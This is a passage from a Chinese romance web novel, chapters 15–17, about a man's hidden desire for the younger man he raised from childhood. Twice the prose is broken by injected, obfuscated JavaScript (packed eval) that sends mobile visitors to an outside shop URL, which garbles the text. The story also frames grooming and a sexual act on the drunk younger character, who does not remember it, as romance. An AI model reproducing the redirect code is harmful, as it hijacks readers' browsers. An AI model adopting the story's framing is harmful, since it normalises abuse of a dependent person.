相纸什么时候降价:【呜呜呜呜呜】 【[仓鼠大哭.jpg]】 【打羽毛球的时候脚崴了】 【肿了那么高!】 “吃饭了。” 一听见他哥的声音,闻昭立刻把手机扣过去。 赵危行走到沙发旁,弯腰捞起趴在沙发上的一小条人,抱到餐桌前。 晚饭赵危行专门做的清淡,鸡蛋蔬菜瘦肉,有利于恢复。 吃过饭,闻昭抱着睡衣,扶着墙慢吞吞往浴室走。 “闻昭。”赵危行叫住他,“做什么去?” 闻昭指了指浴室,“哥,我去洗澡。” 赵危行的视线落在闻昭的脚踝上。 受伤的脚还不敢沾地,这会儿闻昭跟金鸡独立似的,摇摇晃晃站着。 浴室地上有水地滑,本来就危险,单脚蹦着,洗澡时要是没站稳打了滑,再磕碰到哪,可还了得。 顿了顿,赵危行开口。 “我帮你洗。” 15. 第 15 章 赵危行那句话说出口的一瞬间,就后悔了。 他后知后觉地反应过来,帮昭昭洗澡,那意味着什么。 但他不可能让崴了脚的闻昭自己一个人洗澡,如果滑倒了再受伤可是大事。 此刻,浴室里,闻昭毫无芥蒂地将浑身脱光,□□,一手紧紧握着他,另一手去调节水温开关。 暖光灯下,柔和的光洒在少年的皮肤上,晕染上一层朦朦胧胧的白光,肌肤仿佛上好的白瓷般,圆润顺滑。 他看见了昭昭平时总遮挡在衣物下,那颗左边锁骨处的小痣,随着抬手的动作,轻灵地起伏。 下面还有两点清浅的粉……没敢放肆地盯着看清,闻昭就慢慢转了身,赵危行眼中猝不及防撞见了几乎一只手就能覆住的腰,还有两半圆润的屁股,手掌刚好可以握上去,应该会很软…… 轰地一声,有什么东西在脑中炸响,嗡鸣不已。 赵危行喉结重重滚动了一下,呼吸在那一瞬间变得粗重,却又不得不强行忍住。 全身的血液都滚烫灼烧着,他搀扶着闻昭的胳膊,掌心贴着闻昭的皮肤,却觉得此处更是被火焰炙烤着一般热。 然而闻昭毫无所觉,用手估摸着水温差不多,就拉着赵危行往淋浴下挪腾,毕竟小时候,赵危行经常抱着他洗澡,哥哥嘛,他什么样子哥哥没见过,没什么好害羞的。 水汽蒸腾,热意氤氲漫过镜面,覆上一层模糊的白雾,镜中两道身影渐渐看不明晰了。 花洒下,温热的水流哗啦啦作响,裹着湿润的暖意。 闻昭正紧闭着双眼,手掌心盛着洗发水,抬起胳膊给自己的头发打出浓密的泡泡。 他单脚撑着地面,却完全不担心站不稳。 因为他哥在旁边扶着他呢,闻昭可以安心地将自己全部的重量都交给赵危行。 他哥肯定会保护好他的。 闻昭冲干净头顶上的泡沫,睁开眼睛。 “哥,帮我拿一下沐浴露好不好。” 赵危行穿着白天在外面的衣服裤子,白衬衫浸湿了水,变得些许透明,紧紧贴在身上,随着伸手的动作,湿衣服勾勒出紧实的肌肉线条,和块垒分明的腹肌。 闻昭看见他哥的发梢和头发和眉毛上沾了点泡沫,他凑近了,想要帮忙把泡沫抹去。 可还没碰到发梢,就被一把攥住了手腕。 赵危行钳住他的手,用了些力气,制止了他的动作,垂眸看着他,面色不是很好。 他哥进浴室就摘了眼镜,看不太清晰时,会习惯地微微眯起眼睛。 闻昭此时更直接地对上赵危行的眼睛,很深,狭长,眼皮偏薄,此时会显得有些凶。 赵危行沉声:“你干什么?” 语气很生硬,闻昭微微吓了一跳。 “我……哥,你头上沾了泡沫,我想擦去……” 小孩儿明显是被攥疼了,声音里带了点委屈,赵危行松了松手上的力道。 “不用……你别乱动,”赵危行的声音哑得要命,顾不得语气,直说,“你先洗,一会儿我洗。” 幸亏有唰啦啦的水声,把他声音的异样遮掩下去。 但是水却遮掩不了一些别的,比如……他身体上起的反应。 黑西裤也被水淋湿,紧紧贴在腿上,简直是分外明显的把那处的形状明晃晃地勾勒出来。 闻昭刚刚但凡再往前靠近一点儿,小腹就会贴上那玩意。 赵危行深吸一口气,迅速把闻昭翻了个面,背对着他,“扶墙站好,我给你涂沐浴露。” 闻昭鼓鼓脸颊,“哦。” 然后乖乖撑着浴室墙壁的瓷砖。 赵危行沉着脸,顾不得平时的细致,草草给闻昭的身上涂满沐浴露。 这回更是难熬。 偶尔不得不碰到那被水打湿的、光滑的皮肤,都得咬着牙,迅速抽手,一触即分,才能遏制住他心里蔓延滋生的欲念,不去按照内心叫嚣的那般,狠狠掐住那纤瘦的腰肢,才能防止他忍不住兽性大发犯错。 要了命了。 闻昭一脸茫然地被洗完,用浴巾打包丢出浴室,被安置在卧室床上。 他眨眨眼,看着他哥匆匆离去的背影,不解地歪歪脑袋。 怎么说变脸就变脸呢? 他的卧室离浴室不远,但隔着墙,也只能听见哗啦啦的水声。 自然听不清,那夹杂在水声中的,隐忍又压抑的闷哼声。 闻昭翻了个身,拿着赵危行塞给他的吹风机,插上电,慢吞吞地吹着头发,随手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219192|197498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刷着手机。 浏览器搜索:男人二十八岁喜怒无常是怎么回事? 高赞回答:男性更年期综合征/绝症前兆/自查身体有没有出现一下状况,但凡出现五点,那就是…… 闻昭:“……” 百度看病,癌症起步。 闻昭先给刘老师和学长学姐一一回了消息,说自己没什么大事,又看了看群消息,最后百无聊赖地刷了短视频,追更了喜欢的摄影博主的视频。 都过去一个多小时了,浴室的水声依旧哗啦啦作响。 他哥竟然还没洗完澡么? 以前赵危行洗澡都很利落迅速的,加上吹头发也不过二十分钟。 闻昭翻来覆去把自己卷到被子里,又等了一会儿,水声才停止,浴室的门被拉开,闻昭看见他哥已经整齐地穿好睡衣,戴着眼镜,面色平静地走了出来。 只有发梢还残留着些许水汽。 赵危行拿了药和绷带,来到他屋里,半蹲在床前。 “我给你上药。” 闻昭蛄蛹到床边,伸出左脚。 脚踝处依旧青紫肿着,看着吓人。 赵危行小心翼翼地坐在床边,大掌轻轻捏着小腿肚,把闻昭的腿搭在自己的膝上,垂眼,手上的动作很轻,仔细地给闻昭上药,缠好固定的绷带。 闻昭这会儿已经不怎么疼了,他双手向后撑在床上,看着他哥认真的样子,“嘿嘿”笑起来。 赵危行掀起眼皮,看了闻昭一眼:“傻笑什么。” “哥,你真好。”闻昭开开心心道。 赵危行没说话。 ……他真好? 他其实是个混蛋。 如果昭昭知道他在浴室都干了什么,还会这么天真地觉得他好么? 包扎好,赵危行端来温水,看着闻昭吃了止疼药和消炎药。 今晚就不喝热牛奶了,会消解药性。 赵危行给闻昭床上收拾了个舒服的小窝,用软毯叠了个固定脚踝的地方。 “今晚我跟你一起睡。”赵危行说,“晚上如果要起夜,别自己摸黑,叫我起来,我扶着你。” 闻昭听了这话,双眼一亮。 “好耶!” 他好久没和哥哥一起睡觉了! 16. 第 16 章 闻昭咬着被子弹一角,气鼓鼓地看着赵危行面不改色用被子堆在两人之间,理一长条的隔挡。 “你睡里面,晚上别乱翻身,防止伤到脚。” 赵危行说着,抬眼看到闻昭,他伸手,把被子从闻昭嘴里扯出来,“别乱咬,不干净。” 闻昭被圈在床里侧,赵危行掀起被子上了床,睡在外面。 闻昭更气了! 怎么这样啊,跟划出三八线似的,防他防得严严实实的,怎么,他哥是害怕自己半夜把他给吃了吗! 可恶! 闻昭正准备开开心心一头扎进他哥的被窝里呢。 他好久都没跟哥哥一起睡啦,他想要赵危行抱着他。 他不死心地往赵危行的方向蹭了蹭,眼巴巴地看着他哥的被窝。 “哥……” 赵危行摘了眼镜放在床头,捋起额前碎发,他偏头看向闻昭,见小孩儿两手攀着被子,下半张脸都埋在被子里,只露出一双忽闪忽闪的杏眼。 ……可爱得要命。 赵危行顿了顿,平静开口:“怎么了?” “我想跟你一起睡。”闻昭尾音里带着点软软的祈求。 “这不是正一起睡么?” 闻昭轻哼一声,“一个被窝才算一起睡。” 赵危行在心里深深吸了一口气。 小混蛋。 就这么挑战他哥的自控力。 在浴室消解的那一个多小时的欲望,完全没起到作用,此刻他心里那簇燥热的火苗又开始冒头。 “不行,你脚不方便。”赵危行毫不犹豫拒绝,“我怕压倒你才用被子堆起来的。” 闻昭还想再挣扎一下,“哥,那脚好了就能一起睡了吗?” 闻昭正面对着赵危行,侧身躺着,枕在枕头上,脸颊上的软肉被挤压出一片鼓起来的弧度。 赵危行下意识抬起手,伸了过去,想捏一捏,却在指尖要碰到闻昭脸颊前的那一刻停住,换了个方向,把卧室的灯关上了。 屋内陷入一片柔软的黑暗中,只有窗外清泠泠的月光浅浅没过窗棂,散着朦胧的月白色。 “乖,别闹,早点休息。”赵危行轻声道。 “哦……”闻昭乖乖应下,“哥,晚安。” 他哥这么说,就是没得商量了。 闻昭有些眼馋地又看看赵危行的被窝,哼了一声,窸窸窣窣翻了个身,用后脑勺对着赵危行。 身体力行地表达他的不满。 赵危行:“晚安。” 然后在心里补全了他没说完的、暂时无法说出口的全部。 晚安,昭昭。 —— 闻昭本以为今晚会因为脚踝的疼痛而失眠,但他却睡得异常的好。 似乎朦胧梦见一汪温泉,温热,舒适,将疲惫涤荡一空。 他本能地追随着那熟悉的气息和温暖,慢慢靠近…… 半夜的时候,赵危行模模糊糊感觉有个毛绒绒的脑袋蹭进他怀里。 他睁开眼睛,垂眸一看,果然,昭昭蓬松的头发正扫着他的下巴,脑袋已经抵在了他的肩头,温热的呼吸缓缓铺洒在皮肤上,带来些许湿润的痒意。 昭昭睡得很熟,睡姿不算老实,脑袋拱进他怀里,上身横着,双腿还留在原来的被窝里,两人之间挡着的那条被子不知何时已经被闻昭卷到了身子底下。 小孩儿还是和小时候一样,睡觉总往他怀里钻,一路扫荡三条被褥,成功占领根据地,脑袋还是埋在和以前一样的地方,明明怀里空气稀薄,又热,昭昭也不怕呼吸不畅。 “哥……”又把脑袋埋进怀里蹭了蹭。 声音很软。 赵危行嘴角忍不住微微弯起,眼神中流露出一丝温柔的笑意。 昭昭脸颊被被子压出一道褶儿,睡衣也蹭到胸口,露出平坦柔软的小腹,随着绵长的呼吸,轻轻起伏。 真像是他这几天绕路去宠物店,看到的那些不怕人的小仓鼠。 翻着肚皮,睡得又熟又乖。 赵危行轻轻抬手,把闻昭的睡衣拉下,盖好肚脐眼,别着凉了。 其实……昭昭和他的关系,从小到大,虽然看着像是小孩儿信任他、依赖他、黏着他,像个小尾巴似的,哥哥哥哥地叫着。 但,赵危行自己心里清楚。 是他离不开昭昭。 他的父母是商业精英,忙于公司企业,很少回家,也很少主动关心他的生活起居、衣食住行,更别说心理健康。 其实他的父母很好,夫妻恩爱,也爱他。 很少回家,不是不回,节假日、生日,必定到场。 从不缺席他的每一次家长会,但开会过后就会匆匆开车离开;发的消息,也条条都会回复,只不过像是处理堆积已久的邮件;打的电话,即使当时在忙,后面也会回拨,但这份空闲时间也只能撑得起三言两语的叮嘱和关心。 只是太忙了而已,只是太忙了而已。 于是这份爱就变成例行公事一样的责任,和很多很多的钱,在电话里,让他自己请保姆,缺什么,自己花钱买。 所以他比同龄人都早熟,面上挂着无懈可击的假笑,有条不紊游刃有余地处理好一切不属于他这个年龄段应该操心的事。 赵危行没什么可埋怨的。 他知道,他已经比很多人幸福了。 直到十三岁的某一天,他的掌心里忽然被塞进一只柔软的小手。 父母至交好友的孩子,也是因为家长忙于事业,常年不在家,被送过来,让他帮忙照料。 才三岁,软软糯糯一团,抱着他的小腿,呜呜哭,眼泪像不要钱似的啪嗒啪嗒掉。 他蹲下身子,伸出一根手指,小孩儿软乎乎的小手就那样整个握住了他的手指,抽抽噎噎:“哥、哥哥……” 赵危行心都化了,就把人抱起来养了,一养就是十五年。 那一瞬间,似乎有什么无形的红线勾上了两人的手指,将两个命运和处境几乎完全相似的人,密不可分地缠了起来。 是他需要昭昭,他离不开昭昭。 昭昭已经成为了他生命中无法割舍的一部分。 所以,他不可能放开他这辈子最珍贵的宝贝。 只是和骨骼舒展、身量拔高一样,逐渐成年会带来注定的生长痛。 第一次早起看到身体变化,昭昭又惊又羞,他抱弄脏的衣裤和被子,眼里晕着一汪泪,缩在床上,不知所措,求助似的目光撞向他。 是赵危行处理的。 他耐心教他,甚至于……以后再出现这种生理反应,也是他亲手教昭昭怎么处理的。 昭昭太依恋他了,赵危行从没见过哪家的亲兄弟高中之后还要相拥而眠,更别提,他们还没有血缘关系。 而他心里更是如此,完完全全享受这种依恋。 当赵危行意识到这一点时,已经来不及了。 他惊恐地发现,他和昭昭,对彼此的占有欲已经超过了寻常的程度。 那是一种超越血缘的互相依存。 昭昭十八岁后,试酒量的那次,小孩儿摇摇晃晃趴在他身上。 少年眼珠清亮,如水洗过一般。 乌润的眸子看着他,摇头晃脑,非要说没醉时,两人的唇瓣不经意间擦过。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219193|197498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>赵危行脑子轰地一声炸了。 那天晚上他也喝了些酒,成了个混蛋。 他箍着昭昭的腰,把人扣在怀里。 昭昭迷迷糊糊低声哼唧,“哥,我手酸。” “乖……就快了。” 等理智回笼时,昭昭已经困得蜷缩成小小一团,眼尾是一片微醺的红晕,正熟睡着。 而他魂不守舍地收拾好床铺,面色虽然如常,但掌心全是冷汗,惊魂未定。 赵危行冷静下来后,坐在客厅。 他在等闻昭醒来,等小孩儿愤怒的质问。 然而没有,昭昭一喝酒,不算醉,只是微醺,就断片。 昭昭什么都不记得,还跟往常一样,扑到他身上,跟他撒娇,眼睛亮亮地问他,早饭是什么。 他像一个小偷,一个怀揣重宝却无法脱手的贼。 枯坐一整晚的决心在这一刻彻底崩塌,他不想毁掉闻昭的生活和未来,闻昭总有一天要离开自己,要独立生活。 所以他想,他或许该渐渐远离、渐渐放手,让昭昭渐渐适应没有自己的生活。 只是当他决定亲手斩断这种依恋时,他好后悔。 所以藕断丝连,借着别人的身份拉扯。 赵危行此刻仿佛是被割裂成了两半,飘忽不定,左右摇摆,一半要他狠狠抓住昭昭,他的只能是他的。 而另一半,却在时刻提醒着他,那天伪装成[致橡树],是他冲动了,没有考虑后果,如果昭昭有朝一日发现了真相,会不会恨他?会不会连哥哥都做不成? 或许是深夜里注定多愁善感、注定心软、注定无法做出重要决定。 赵危行深深叹了口气。 他抬起手,长臂一伸,把闻昭整个人揽进自己怀中,紧紧抱住他。 他不想放开他的宝贝。 —— 第二天闻昭醒来时,赵危行已经不在床上了。 他听见楼下厨房传来厨具隐约的碰撞声。 闻昭把自己卷在被子里,Ω—Ω—Ω—了一个来回,伸了个懒腰。 昨晚睡得神清气爽! 嘿嘿,和他哥一起睡就是好,他哥起到了一个安神香的作用,喜欢。 闻昭挪腾到床边,想起他哥不让他单腿蹦下楼梯的叮嘱。 于是抻开嗓子:“哥——” “哥~” “哥哥~” “有一个一百二十斤的重物需要你来搬运啦哥哥。” 赵危行上楼,先检查了他的脚踝,问:“疼不疼?” 闻昭:“一点都不疼啦。” 赵危行头也不抬:“说实话。” 闻昭心虚目移:“就、就一点点,已经比昨天好多了。” “好。”赵危行把他打横抱起,“洗漱,吃早饭,然后我给你换药。” 今天是周六,不用去学校,闻昭吃过早饭就缩在沙发上翻教材。 赵危行给他切好了水果,放在茶几上,盘子里有小叉子。 闻昭一边吃,一边看书,有点无聊,没过脑子,翻翻手机,发现z竟然还没给他回消息! 他愤愤地打字。 相纸什么时候降价:【我要生气啦!】 【[仓鼠跺脚.jpg]】 咚咚咚。 发完消息,闻昭听见有人敲门。 沙发离门不远,他蹦过去,开了门。 “赵先生是吗?尾号6293?”门外站着一个快递员,旁边是个巨大的纸箱。 闻昭点点头:“对,是我哥。” 快递员把单子递过去,说:“签收一下,是个人体工学椅。” 17. 第 17 章 人体工学椅? 闻昭愣了愣,旋即看向大纸壳箱上的店铺logo,是和他前几天给z买的那款是一样的。 “哥~你的快递!” 闻昭头也不回地喊了一声,接过快递员的签收单,潇洒地签了他哥的名。 余光一扫,看见了寄出地址:申城…… 还没看全,闻昭眼前一花,手里的单子忽然被抽走。 赵危行大步到他身边,把签收单揉皱,团成一团,丢进一旁垃圾桶里,一气呵成,动作之快,闻昭都没看清。 啪嗒,纸团精准砸进垃圾桶里。 “?”快递员眼睁睁看着单子离他而去,呆滞地指了指垃圾桶,“先生,我要带回网点存档的……” 闻昭也疑惑抬头,“哥?” 赵危行:“……” 糟糕,太急了。 做事一向沉稳熨帖的赵危行第一次感觉如此尴尬,搜肠刮肚半天,磕磕绊绊吐出一句:“抱歉,我不知道这个单子您还有用。” 赵总蹲下身开始掏垃圾桶。 快递员也没在意,连连摆手,“没事儿没事儿,正常物流不是约的周五下午到嘛,我来敲门看你们家没人,打电话才知道你们去医院了。你这是……” 闻昭金鸡独立,晃了晃腿,“崴脚啦,没什么大事。” 赵危行把签收单展开,捋平整,又压了压,才把皱皱巴巴的纸还了回去。 快递员说了句早日康复,就匆匆去送下一单了。 快递暂时放在走廊。 他们住的这个小区一层只有两户,对面那户是赵危行送给闻昭的成年礼物。 本想着昭昭到了年纪要自己成家,但私心又不愿意让昭昭搬太远,索性就住对门算了。 但闻昭习惯了一直跟他哥住在一起,不愿意搬出去,对面那户就一直暂时空着,所以不用担心快递临时放在门外挡路。 赵危行把他抱回沙发。 闻昭很自然地搂上赵危行的脖颈,就着他仰头的这个姿势,闻昭能看到他哥紧绷的下颌线。 “好巧啊哥,你也买了这款椅子?” 赵危行正不知道如何解释,听见闻昭的话,忽然顿了顿,倒是抓住了机会反客为主,“‘也’?你也买了?” 闻昭倏地闭上嘴。 完了,说漏嘴了。 闻昭知道他哥昨天去他宿舍拿了东西,宿舍里没有这把椅子,家里也没有,那他买去哪了。 他哥要是知道他给正暧昧的网友买东西…… 闻昭怂怂地缩了缩脖子,“额,那个,我……我没买,我就是最近在找,对,在找舒服的椅子。” 闻昭解释的磕磕绊绊,眼睛慌慌的,手忙脚乱地要把秘密藏好。 小孩儿从小就不会撒谎。 赵危行就算不知道,也一听就能听出来。 但他这次没拆穿,毕竟,他知道这个秘密的方式,也见不得光。 赵危行拿了两个抱枕,弄出一个舒服的窝,把闻昭抱进去。 “你脚不方便,下次别乱跑,有什么事先叫我。” 赵危行回屋拿了个黑色马克笔,出门拆快递,一直把盒子上贴的运单号、寄件地址和寄件人都用黑笔涂得严严实实,直到看不出一丁点蛛丝马迹。 这才松了口气。 太危险了。 刚刚只差一点,昭昭就会看到他作为z给的地址了。 闻昭也因为蒙混过关,松了口气,仰躺在沙发上,翻出手机。 相纸什么时候降价:【z哥哥~】 【你回家了嘛】 【收到快递了嘛】 【我跟你讲,超级巧!】 【我哥也买了一个一模一样的椅子】 【像有心灵感应似的!】 【[仓鼠叉腰.jpg]】 他想着z敲代码要久坐,时间长了对腰不好,合适的椅子能减少腰肌劳损。 他搜了不少测评贴和店铺评价,挑挑拣拣,对比质量和舒适度,最终才确定了这一款。 不过确实很巧,连他哥都买了一个回家用,看来这家店的椅子真的不错。 既然是他哥严选,那必属精品。 闻昭又絮絮叨叨地给z发消息。 全然忘记了前几分钟,他因为z快一整天没回过消息,要跟z生气的事情了。 闻昭性格就这样,从不记仇,只记着别人的好,待人说话也温声细语,从不发火,很好说话。 从小到大认识他的人,对他的评价都是“特别可爱特别乖一小孩儿”,无论男女老少,都喜欢路过莫名其妙rua他一把,然后留下闻昭一头雾水眨眨眼睛,摸摸头,捋顺毛,又低头干自己的事情去了。 他想,z应该是有很重要的事在忙。 发完消息,闻昭就扣下手机,继续看教材。 只不过总是不能静下心来完全投入学习,总是看两行字,就要解锁手机看看z有没有回复他的消息。 偶尔一次,手机屏幕亮了起来,闻昭双眼不自觉弯起笑意,满怀期待打开,却发现只是班级群@全体成员的群消息。 那双盈亮的杏眸又黯淡下去,闻昭趴在沙发上,闷闷叹了口气。 坏蛋。 忙什么去了,都不跟他说一声。 会不会出事啊? 但橡树哥……哦不是,z哥,应该是一个很有能力的成年男性,做事稳重,心思缜密,日常生活不会有他解决不了的事。 难不成有意外?出车祸了?熬夜猝死了?踩翻马葫芦盖掉下水道里了? 胡思乱想着,闻昭一下子就慌了。 不能不能。 自己吓自己。 闻昭从沙发上捞过来一个毛绒绒的鳄鱼,把脑袋搁在抱枕上,脸颊上的软肉就被嘟起来,一副很好捏的样子。 闻昭知道,他此刻的心思已经完全不在学习上了,脑子里天马行空,开始不自觉勾勒出一道模糊的身形。 他不知道井星航小叔的长相,对方也不知道他的。 他们除了一个熟人的牵线搭桥外,就只是网友。 奔着谈恋爱为目的的网友。 其实闻昭最开始拿对方当朋友相处的,一个聊的来的朋友。 可不知不觉间,那份普通的好感变了质。 他一点点地溺了进去,z带给他恰到好处的安慰和帮助、自认识到现在快两个月,无时不刻温柔陪伴着他,在他茫然踟蹰时,总会引导鼓励他自己走出迷茫。 还有那份不用伪装也不必勉强的松弛感,让他们之间只是安静待着,也不会觉 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他哥平时话不多,精准、简洁,面上情绪永远不慌乱,言谈举止平静有礼,做事完美漂亮,无可挑剔。 往那一站,就是最坚实的后盾。 让闻昭可以全身心信任,无条件依赖。 闻昭看着哥哥,脑子里忽地冒出一个想法。 z给他的感觉,就像赵危行一样,包容又可靠。 好像他逐渐喜欢上z,也不是没有原因,对方和赵危行这般相似的共同点,让他在相处中觅得了他哥的影子,所以才…… 闻昭心里陡然一惊。 立刻连连摇头,把这个大逆不道的想法甩出脑海。 幸好,这种既视感转瞬即逝。 哥哥就只是哥哥,怎么能亵渎哥哥。 闻昭拍拍胸脯,不能再胡思乱想了。 中午赵危行做好饭,闻昭吃过午饭,脚伤不方便挪动,缩在窝里,有点昏昏欲睡。 他睡了个午觉,下午起来,才看见z的消息。 z:【抱歉昭昭,昨天忽然有急事,才看到手机】 【昭昭,哥哥错了,下次绝对不让你等这么久】 【椅子我刚刚回家时拿到了,很舒服,谢谢昭昭】 【脚怎么伤成这样】 【严不严重?】 【还疼不疼】 【有没有不舒服】 【一定很疼吧……】 【要是这伤能转移到我身上就好了】 【可惜我离你很远,不能照顾你】 【一定不要到处乱蹦,有什么事就叫你哥,好不好】 …… z给他发了五六十条消息。 闻昭睡眼惺忪醒来,魂儿还有点没归位,发语音回复。 即使清了清嗓子,尾音还是有点黏。 相纸什么时候降价:【没事的!】 【我哥带我去医院检查啦,只是崴脚,半个月就好啦】 【你不用担心,我哥很可靠!】 z:【宝宝……】 闻昭揉着眼睛,看清楚消息之后,直接把手机扔了出去。 现、现在叫他宝宝,是不是有点太快了?!